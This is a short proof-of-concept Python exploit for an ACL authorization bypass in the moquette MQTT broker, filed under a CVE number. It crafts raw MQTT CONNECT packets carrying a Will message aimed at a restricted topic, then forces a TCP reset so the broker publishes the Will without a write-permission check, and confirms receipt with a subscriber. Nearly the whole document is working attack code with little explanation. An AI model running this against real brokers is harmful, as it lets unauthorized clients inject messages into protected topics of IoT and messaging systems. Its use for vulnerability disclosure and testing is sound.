CVE-2026-85058: moquette-broker Will Message ACL Authorization Bypass

import socket, struct, time

BROKER = ('127.0.0.1', 1883)
WILL_TOPIC = b'restricted/topic'
WILL_MSG   = b'injected_by_will_bypass'

def build_connect(client_id, will_topic, will_msg):
    # Variable header: protocol name + level + connect flags + keepalive
    proto   = b'\x00\x04MQTT'          # MQTT 3.1.1
    level   = b'\x04'
    flags   = b'\x06'                  # CleanSession=1, WillFlag=1, WillQoS=0
    keepalive = b'\x00\x3c'
    var_hdr = proto + level + flags + keepalive

    def enc(b): return struct.pack('!H', len(b)) + b

    payload = enc(client_id) + enc(will_topic) + enc(will_msg)
    pkt = var_hdr + payload

    # Fixed header with remaining length
    return b'\x10' + bytes([len(pkt)]) + pkt

# Step 1: subscriber connects and subscribes
sub = socket.create_connection(BROKER)
sub_connect = b'\x10\x11\x00\x04MQTT\x04\x02\x00\x3c\x00\x05sub01'
sub.sendall(sub_connect)
sub.recv(4)  # CONNACK
subscribe = b'\x82\x16\x00\x01\x00\x10' + WILL_TOPIC + b'\x00'
sub.sendall(subscribe)
sub.recv(5)  # SUBACK
print('[*] Subscriber ready on', WILL_TOPIC.decode())

# Step 2: attacker connects with Will Topic = restricted/topic
attacker = socket.create_connection(BROKER)
pkt = build_connect(b'attacker01', WILL_TOPIC, WILL_MSG)
attacker.sendall(pkt)
attacker.recv(4)  # CONNACK
print('[*] Attacker connected, Will Topic =', WILL_TOPIC.decode())

# Step 3: TCP RST -- broker fires Will without canWrite() check
attacker.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
                    struct.pack('ii', 1, 0))  # l_onoff=1, l_linger=0
attacker.close()
print('[*] TCP RST sent -- broker will fire Will message')

# Step 4: check subscriber
time.sleep(1)
sub.settimeout(2.0)
try:
    data = sub.recv(256)
    if WILL_MSG in data:
        print('[!!!] WILL MESSAGE RECEIVED on restricted/topic -- VULNERABILITY CONFIRMED')
except socket.timeout:
    print('[-] No message received')
sub.close()